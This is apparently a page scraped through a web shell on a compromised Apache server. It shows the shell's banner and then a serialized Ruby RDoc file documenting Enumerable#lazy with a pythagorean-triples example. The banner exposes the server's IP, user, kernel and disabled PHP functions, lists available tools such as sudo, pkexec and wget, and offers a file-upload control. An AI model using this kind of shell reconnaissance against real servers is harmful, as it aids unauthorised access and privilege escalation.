| Server IP : 162.214.74.102 / Your IP : 216.73.217.21 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/Enumerable/ |
Upload File : |
U:RDoc::AnyMethod[iI" lazy:ETI"Enumerable#lazy;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [
I";Returns a lazy enumerator, whose methods map/collect, ;TI"Pflat_map/collect_concat, select/find_all, reject, grep, grep_v, zip, take, ;TI"Btake_while, drop, and drop_while enumerate values only on an ;TI"Cas-needed basis. However, if a block is given to zip, values ;TI" are enumerated immediately.;To:RDoc::Markup::BlankLine S:RDoc::Markup::Heading:
leveli: textI"Example;T@o;
; [I"5The following program finds pythagorean triples:;T@o:RDoc::Markup::Verbatim; [I"def pythagorean_triples
;TI"/ (1..Float::INFINITY).lazy.flat_map {|z|
;TI" (1..z).flat_map {|x|
;TI" (x..z).select {|y|
;TI"! x**2 + y**2 == z**2
;TI" }.map {|y|
;TI" [x, y, z]
;TI"
}
;TI" }
;TI" }
;TI" end
;TI"*# show first ten pythagorean triples
;TI"Mp pythagorean_triples.take(10).force # take is lazy, so force is needed
;TI";p pythagorean_triples.first(10) # first is eager
;TI".# show pythagorean triples less than 100
;TI">p pythagorean_triples.take_while { |*, z| z < 100 }.force;T:@format0:
@fileI"enumerator.c;T:0@omit_headings_from_table_of_contents_below0I"e.lazy -> lazy_enumerator
;T0[ I"();T@*FI"Enumerable;TcRDoc::NormalModule00